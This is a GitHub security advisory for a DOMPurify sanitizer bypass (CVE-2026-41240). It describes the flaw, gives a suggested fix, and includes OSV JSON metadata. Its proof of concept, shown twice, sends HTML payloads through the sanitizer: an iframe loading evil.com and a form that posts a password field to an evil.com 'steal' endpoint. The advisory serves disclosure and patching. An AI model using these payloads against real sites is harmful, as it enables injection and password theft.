GHSA-H7MW-GPVR-XQ4M

Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-27 16:32
VLAI
Summary
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:34:17Z",
    "nvd_published_at": "2026-04-23T16:16:26Z",
    "severity": "MODERATE"
  },
  "details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027iframe\u0027]\n      }\n    );\n    // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n    // Expected: \u0027\u0027 (iframe forbidden)\n\n    DOMPurify.sanitize(\n      \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027form\u0027]\n      }\n    );\n    // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n    // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: [\u0027onclick\u0027]\n      }\n    );\n    // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
  "id": "GHSA-h7mw-gpvr-xq4m",
  "modified": "2026-04-27T16:32:31Z",
  "published": "2026-04-22T17:34:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}


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